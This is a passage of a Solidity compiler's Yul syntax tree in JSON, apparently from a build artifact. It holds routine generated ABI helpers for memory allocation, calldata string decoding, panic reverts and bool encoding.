"src": "7:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "423:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "440:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "443:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "433:6:1"
},
"nodeType": "YulFunctionCall",
"src": "433:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "433:12:1"
}
]
},
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d",
"nodeType": "YulFunctionDefinition",
"src": "334:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "546:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "563:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "566:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "556:6:1"
},
"nodeType": "YulFunctionCall",
"src": "556:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "556:12:1"
}
]
},
"name": "revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae",
"nodeType": "YulFunctionDefinition",
"src": "457:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "628:54:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "638:38:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "656:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "663:2:1",
"type": "",
"value": "31"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "652:3:1"
},
"nodeType": "YulFunctionCall",
"src": "652:14:1"
},
{
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "672:2:1",
"type": "",
"value": "31"
}
],
"functionName": {
"name": "not",
"nodeType": "YulIdentifier",
"src": "668:3:1"
},
"nodeType": "YulFunctionCall",
"src": "668:7:1"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "648:3:1"
},
"nodeType": "YulFunctionCall",
"src": "648:28:1"
},
"variableNames": [
{
"name": "result",
"nodeType": "YulIdentifier",
"src": "638:6:1"
}
]
}
]
},
"name": "round_up_to_mul_of_32",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "611:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "result",
"nodeType": "YulTypedName",
"src": "621:6:1",
"type": ""
}
],
"src": "580:102:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "716:152:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "733:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "736:77:1",
"type": "",
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "726:6:1"
},
"nodeType": "YulFunctionCall",
"src": "726:88:1"
},
"nodeType": "YulExpressionStatement",
"src": "726:88:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "830:1:1",
"type": "",
"value": "4"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "833:4:1",
"type": "",
"value": "0x41"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "823:6:1"
},
"nodeType": "YulFunctionCall",
"src": "823:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "823:15:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "854:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "857:4:1",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "847:6:1"
},
"nodeType": "YulFunctionCall",
"src": "847:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "847:15:1"
}
]
},
"name": "panic_error_0x41",
"nodeType": "YulFunctionDefinition",
"src": "688:180:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "917:238:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "927:58:1",
"value": {
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "949:6:1"
},
{
"arguments": [
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "979:4:1"
}
],
"functionName": {
"name": "round_up_to_mul_of_32",
"nodeType": "YulIdentifier",
"src": "957:21:1"
},
"nodeType": "YulFunctionCall",
"src": "957:27:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "945:3:1"
},
"nodeType": "YulFunctionCall",
"src": "945:40:1"
},
"variables": [
{
"name": "newFreePtr",
"nodeType": "YulTypedName",
"src": "931:10:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "1096:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x41",
"nodeType": "YulIdentifier",
"src": "1098:16:1"
},
"nodeType": "YulFunctionCall",
"src": "1098:18:1"
},
"nodeType": "YulExpressionStatement",
"src": "1098:18:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "newFreePtr",
"nodeType": "YulIdentifier",
"src": "1039:10:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1051:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "1036:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1036:34:1"
},
{
"arguments": [
{
"name": "newFreePtr",
"nodeType": "YulIdentifier",
"src": "1075:10:1"
},
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1087:6:1"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "1072:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1072:22:1"
}
],
"functionName": {
"name": "or",
"nodeType": "YulIdentifier",
"src": "1033:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1033:62:1"
},
"nodeType": "YulIf",
"src": "1030:88:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1134:2:1",
"type": "",
"value": "64"
},
{
"name": "newFreePtr",
"nodeType": "YulIdentifier",
"src": "1138:10:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1127:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1127:22:1"
},
"nodeType": "YulExpressionStatement",
"src": "1127:22:1"
}
]
},
"name": "finalize_allocation",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "903:6:1",
"type": ""
},
{
"name": "size",
"nodeType": "YulTypedName",
"src": "911:4:1",
"type": ""
}
],
"src": "874:281:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1202:88:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1212:30:1",
"value": {
"arguments": [],
"functionName": {
"name": "allocate_unbounded",
"nodeType": "YulIdentifier",
"src": "1222:18:1"
},
"nodeType": "YulFunctionCall",
"src": "1222:20:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1212:6:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1271:6:1"
},
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "1279:4:1"
}
],
"functionName": {
"name": "finalize_allocation",
"nodeType": "YulIdentifier",
"src": "1251:19:1"
},
"nodeType": "YulFunctionCall",
"src": "1251:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "1251:33:1"
}
]
},
"name": "allocate_memory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "size",
"nodeType": "YulTypedName",
"src": "1186:4:1",
"type": ""
}
],
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "1195:6:1",
"type": ""
}
],
"src": "1161:129:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1363:241:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1468:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x41",
"nodeType": "YulIdentifier",
"src": "1470:16:1"
},
"nodeType": "YulFunctionCall",
"src": "1470:18:1"
},
"nodeType": "YulExpressionStatement",
"src": "1470:18:1"
}
]
},
"condition": {
"arguments": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "1440:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1448:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "1437:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1437:30:1"
},
"nodeType": "YulIf",
"src": "1434:56:1"
},
{
"nodeType": "YulAssignment",
"src": "1500:37:1",
"value": {
"arguments": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "1530:6:1"
}
],
"functionName": {
"name": "round_up_to_mul_of_32",
"nodeType": "YulIdentifier",
"src": "1508:21:1"
},
"nodeType": "YulFunctionCall",
"src": "1508:29:1"
},
"variableNames": [
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "1500:4:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "1574:23:1",
"value": {
"arguments": [
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "1586:4:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1592:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1582:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1582:15:1"
},
"variableNames": [
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "1574:4:1"
}
]
}
]
},
"name": "array_allocation_size_t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "1347:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "size",
"nodeType": "YulTypedName",
"src": "1358:4:1",
"type": ""
}
],
"src": "1296:308:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1661:103:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "1684:3:1"
},
{
"name": "src",
"nodeType": "YulIdentifier",
"src": "1689:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "1694:6:1"
}
],
"functionName": {
"name": "calldatacopy",
"nodeType": "YulIdentifier",
"src": "1671:12:1"
},
"nodeType": "YulFunctionCall",
"src": "1671:30:1"
},
"nodeType": "YulExpressionStatement",
"src": "1671:30:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "1742:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "1747:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1738:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1738:16:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1756:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1731:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1731:27:1"
},
"nodeType": "YulExpressionStatement",
"src": "1731:27:1"
}
]
},
"name": "copy_calldata_to_memory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "src",
"nodeType": "YulTypedName",
"src": "1643:3:1",
"type": ""
},
{
"name": "dst",
"nodeType": "YulTypedName",
"src": "1648:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "1653:6:1",
"type": ""
}
],
"src": "1610:154:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1854:328:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1864:75:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "1931:6:1"
}
],
"functionName": {
"name": "array_allocation_size_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "1889:41:1"
},
"nodeType": "YulFunctionCall",
"src": "1889:49:1"
}
],
"functionName": {
"name": "allocate_memory",
"nodeType": "YulIdentifier",
"src": "1873:15:1"
},
"nodeType": "YulFunctionCall",
"src": "1873:66:1"
},
"variableNames": [
{
"name": "array",
"nodeType": "YulIdentifier",
"src": "1864:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "array",
"nodeType": "YulIdentifier",
"src": "1955:5:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "1962:6:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1948:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1948:21:1"
},
"nodeType": "YulExpressionStatement",
"src": "1948:21:1"
},
{
"nodeType": "YulVariableDeclaration",
"src": "1978:27:1",
"value": {
"arguments": [
{
"name": "array",
"nodeType": "YulIdentifier",
"src": "1993:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2000:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1989:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1989:16:1"
},
"variables": [
{
"name": "dst",
"nodeType": "YulTypedName",
"src": "1982:3:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "2043:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae",
"nodeType": "YulIdentifier",
"src": "2045:77:1"
},
"nodeType": "YulFunctionCall",
"src": "2045:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "2045:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "src",
"nodeType": "YulIdentifier",
"src": "2024:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2029:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2020:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2020:16:1"
},
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "2038:3:1"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "2017:2:1"
},
"nodeType": "YulFunctionCall",
"src": "2017:25:1"
},
"nodeType": "YulIf",
"src": "2014:112:1"
},
{
"expression": {
"arguments": [
{
"name": "src",
"nodeType": "YulIdentifier",
"src": "2159:3:1"
},
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "2164:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2169:6:1"
}
],
"functionName": {
"name": "copy_calldata_to_memory",
"nodeType": "YulIdentifier",
"src": "2135:23:1"
},
"nodeType": "YulFunctionCall",
"src": "2135:41:1"
},
"nodeType": "YulExpressionStatement",
"src": "2135:41:1"
}
]
},
"name": "abi_decode_available_length_t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "src",
"nodeType": "YulTypedName",
"src": "1827:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "1832:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "1840:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "array",
"nodeType": "YulTypedName",
"src": "1848:5:1",
"type": ""
}
],
"src": "1770:412:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2264:278:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "2313:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d",
"nodeType": "YulIdentifier",
"src": "2315:77:1"
},
"nodeType": "YulFunctionCall",
"src": "2315:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "2315:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "2292:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2300:4:1",
"type": "",
"value": "0x1f"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2288:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2288:17:1"
},
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "2307:3:1"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "2284:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2284:27:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "2277:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2277:35:1"
},
"nodeType": "YulIf",
"src": "2274:122:1"
},
{
"nodeType": "YulVariableDeclaration",
"src": "2405:34:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "2432:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "2419:12:1"
},
"nodeType": "YulFunctionCall",
"src": "2419:20:1"
},
"variables": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2409:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "2448:88:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "2509:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2517:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2505:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2505:17:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2524:6:1"
},
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "2532:3:1"
}
],
"functionName": {
"name": "abi_decode_available_length_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "2457:47:1"
},
"nodeType": "YulFunctionCall",
"src": "2457:79:1"
},
"variableNames": [
{
"name": "array",
"nodeType": "YulIdentifier",
"src": "2448:5:1"
}
]
}
]
},
"name": "abi_decode_t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "2242:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "2250:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "array",
"nodeType": "YulTypedName",
"src": "2258:5:1",
"type": ""
}
],
"src": "2202:340:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2651:731:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "2697:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "2699:77:1"
},
"nodeType": "YulFunctionCall",
"src": "2699:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "2699:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "2672:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "2681:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "2668:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2668:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2693:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "2664:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2664:32:1"
},
"nodeType": "YulIf",
"src": "2661:119:1"
},
{
"nodeType": "YulBlock",
"src": "2790:287:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "2805:45:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "2836:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2847:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2832:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2832:17:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "2819:12:1"
},
"nodeType": "YulFunctionCall",
"src": "2819:31:1"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "2809:6:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "2897:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulIdentifier",
"src": "2899:77:1"
},
"nodeType": "YulFunctionCall",
"src": "2899:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "2899:79:1"
}
]
},
"condition": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "2869:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2877:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "2866:2:1"
},
"nodeType": "YulFunctionCall",
"src": "2866:30:1"
},
"nodeType": "YulIf",
"src": "2863:117:1"
},
{
"nodeType": "YulAssignment",
"src": "2994:73:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3039:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "3050:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3035:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3035:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "3059:7:1"
}
],
"functionName": {
"name": "abi_decode_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "3004:30:1"
},
"nodeType": "YulFunctionCall",
"src": "3004:63:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "2994:6:1"
}
]
}
]
},
{
"nodeType": "YulBlock",
"src": "3087:288:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "3102:46:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3133:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3144:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3129:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3129:18:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "3116:12:1"
},
"nodeType": "YulFunctionCall",
"src": "3116:32:1"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "3106:6:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "3195:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulIdentifier",
"src": "3197:77:1"
},
"nodeType": "YulFunctionCall",
"src": "3197:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "3197:79:1"
}
]
},
"condition": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "3167:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3175:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "3164:2:1"
},
"nodeType": "YulFunctionCall",
"src": "3164:30:1"
},
"nodeType": "YulIf",
"src": "3161:117:1"
},
{
"nodeType": "YulAssignment",
"src": "3292:73:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3337:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "3348:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3333:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3333:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "3357:7:1"
}
],
"functionName": {
"name": "abi_decode_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "3302:30:1"
},
"nodeType": "YulFunctionCall",
"src": "3302:63:1"
},
"variableNames": [
{
"name": "value1",
"nodeType": "YulIdentifier",
"src": "3292:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_string_memory_ptrt_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "2613:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "2624:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "2636:6:1",
"type": ""
},
{
"name": "value1",
"nodeType": "YulTypedName",
"src": "2644:6:1",
"type": ""
}
],
"src": "2548:834:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3430:48:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3440:32:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3465:5:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "3458:6:1"
},
"nodeType": "YulFunctionCall",
"src": "3458:13:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "3451:6:1"
},
"nodeType": "YulFunctionCall",
"src": "3451:21:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "3440:7:1"
}
]
}
]
},
"name": "cleanup_t_bool",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "3412:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "3422:7:1",
"type": ""
}
],
"src": "3388:90:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3543:50:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3560:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3580:5:1"
}
],
"functionName": {
"name": "cleanup_t_bool",
"nodeType": "YulIdentifier",
"src": "3565:14:1"
},
"nodeType": "YulFunctionCall",
"src": "3565:21:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "3553:6:1"
},
"nodeType": "YulFunctionCall",
"src": "3553:34:1"
},
"nodeType": "YulExpressionStatement",
"src": "3553:34:1"
}
]
},
"name": "abi_encode_t_bool_to_t_bool_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "3531:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3538:3:1",
"type": ""
}
],
"src": "3484:109:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3691:118:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3701:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3713:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3724:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3709:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3709:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "3701:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "3775:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3788:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3799:1:1",
"type": "",
"value": "0"
}
],
